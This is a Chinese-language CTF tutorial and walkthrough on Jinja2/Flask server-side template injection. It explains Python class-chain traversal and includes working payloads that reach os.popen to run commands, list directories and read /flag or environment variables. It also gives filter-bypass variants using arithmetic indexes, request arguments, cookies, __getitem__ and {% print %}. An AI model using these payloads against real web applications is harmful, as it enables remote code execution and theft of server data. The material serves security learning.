SSTI
SSTI即服务端模板注入,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输出数据,从而达到读取文件或者getshall的目的
Flask是python编写的一个web应用程序框架,Jinja2是flask中的一个模板引擎,在Jinja2中,存在三种语句:控制结构{% %}、变量取值{{ }}、注释{# #}
SSTI基本思路就是通过找到合适的魔术方法,一步步去执行,从而得到我们想要的结果
{{7*7}} # Jinja2/Twig:返回49
${7*7} # Mako:返回49
<%= 7*7 %> # ERB:返回49
#{7*7} # Freemarker:返回49
[[7*7]] # Twig(某些版本)
jinjia2基本语法示例
{# 这是注释 #}
{# 变量输出 #}
Hello {{ name }}!
{# 控制结构 #}
{% if user.is_active %}
Welcome back!
{% else %}
Please log in.
{% endif %}
{# 循环 #}
<ul>
{% for item in items %}
<li>{{ item.name }}</li>
{% endfor %}
</ul>
{# 模板继承 #}
{% extends "base.html" %}
{% block content %}
<h1>Page Title</h1>
{{ super() }} {# 调用父模板中的内容 #}
{% endblock %}
jinjia2基本特性
- 语法简洁:使用
{{ }}表示变量,{% %}表示控制结构 - 模板继承:支持通过
{% extends %}和{% block %}实现模板继承 - 自动转义:内置 HTML 自动转义功能,防止 XSS 攻击
- 高性能:编译为 Python 字节码,执行效率高
- 可扩展:支持自定义过滤器、测试、全局函数等
一些方法:
__class__:万物皆对象,而 __class__ 用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为 <class 'str'>。
__bases__:以元组的形式返回一个类所直接继承的类。
__base__: 以字符串返回一个类所直接继承的第一个类。
__mro__: 返回解析方法调用的顺序。
__class__:返回对象的类 返回 <class 'str'>
__bases__:返回类的基类 返回 (<class 'object'>,)
__subclasses__():返回类的所有子 返回 object 的所有子类
然后进行遍历子类:寻找包含危险功能的子类(如os._wrap_close)。执行命令:调用子类的方法执行系统命令。
# 通过 _wrap_close 可以访问:
_wrap_close.__init__.__globals__ 包含:
- os.environ # 环境变量
- os.system # 执行系统命令
- os.popen # 执行命令并获取输出
- os.listdir # 列出目录
- os.open # 打开文件
进行读取文件操作:这个是没有进行任何过滤的操作
{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['os'].popen('ls').read()}}
进行过滤后命令
过滤了数字,就不能直接进行索引使用,但是可以间接的去使用。使用算式进行绕过
{{''.__class__.__mro__[1].__subclasses__()[140-8].__init__.__globals__['environ']['FLAG']}}
过滤了双引号和单引号,用request.args传递参数
{{().__class__}} # 元组 - 不需要引号
{{[].__class__}} # 列表
{{{}.__class__}} # 字典
{{request.__class__}} # request对象
{{config.__class__}}
{{self.__class__}}
使用数字对象
{{0.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=cat /falg
过滤了args,那就不能使用get参数去获取,但是还有其他方法,还可以使用cookies
?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.cookies.p](request.cookies.b).read()}}
然后在cookies中进行传参:p=popen;b=命令
绕过中括号[]
使用__getitem__方法:
{{ "".__class__.__bases__.__getitem__(0) }} # 等价于 __bases__[0]
绕过{{和}}
如果{{被过滤,可以使用{% %}语法:
{% print("".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls /').read()) %}
例1:
这是一般情况,没有过滤任何东西

锦家的拼音是jinjia,这不是jinjia模板注入,SSTI漏洞

测试一下,确实存在

接着获取字符串对象的类,查看类的继承链:{{''.__class__.__mro__}}。__mro__返回了(<class 'str'>, <class 'object'>),是Python对象结构
接着获取object基类,[0]是<class 'str'>,[1]是<class 'object'>。输入{{''.__class__.__mro__[1]}}返回<?class'object'>,看到可以访问object基类
然后查看object所有子类,寻找可以利用的危险类

{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('ls').read()}}
但是索引没有找准.......使用多种对象(config、request、self等)增加成功率。config是Flask内置对象,一定存在,无需寻找特定索引,避免索引号问题
可以利用cionfig执行命令:通过config对象访问os模块并执行命令。使用config的__init__方法,访问__globals__,从globals中找到os模块,通过os模块执行命令查找flag

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

在这个目录下并没有flag,看看根目录下,根目录下可以看到!

接着就是读取flag:{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

例2:
过滤数字
沿袭上一题的做法,当做到利用os._wrap_close这个类时,并没有显示内容,这里是过滤了数字

可以利用算式进行绕过,不是直接进行使用,间接进行使用

读取flag:{{''.__class__.__mro__[1].__subclasses__()[140-8].__init__.__globals__['environ']['FLAG']}}

过滤单、双引号
这题它过滤了双引号和单引号
{{().__class__}} # 元组 - 不需要引号
{{[].__class__}} # 列表
{{{}.__class__}} # 字典
{{request.__class__}} # request对象
{{config.__class__}}
{{self.__class__}}
从GET参数获取
{{request.args.a}} //?a=__class__
{{request.args.a|attr(request.args.b)}} //?a=&b=__class__
使用数字对象:
{{0.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=ls /
{{0.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=cat /falg


注入思路
- 随便找一个内置类对象,用 __class__ 拿到他所对应的类。
- 用 __bases__ 拿到基类(<class 'object'>)。
- 用 __subclasses__() 拿到子类别表。
- 在子类别表中直接寻找可以利用的类,具体来说是关于命令执行或者文件操作的模块。
示例(Python 版本不同时下标需调整):
().__class__.__bases__[0].__subclasses__()
().__class__.__mro__[1].__subclasses__()
接下来只要找到能够利用的类(方法、函数)就好了
因为每个环境使用的python库不同,所以类的排序有差异。
直接使用popen(python2不行)
os._wrap_close 类里有 popen。
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
使用 os 下的 popen
可以从含有 os 的基类入手,比如说 linecache。
"".__class__.__bases__[0].__subclasses__()[256].__init__.__globals__['os'].popen('whoami').read()
使用 import 下的 os(python2不行)
可以使用 __import__ 的 os。
"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()
1496

被折叠的 条评论
为什么被折叠?



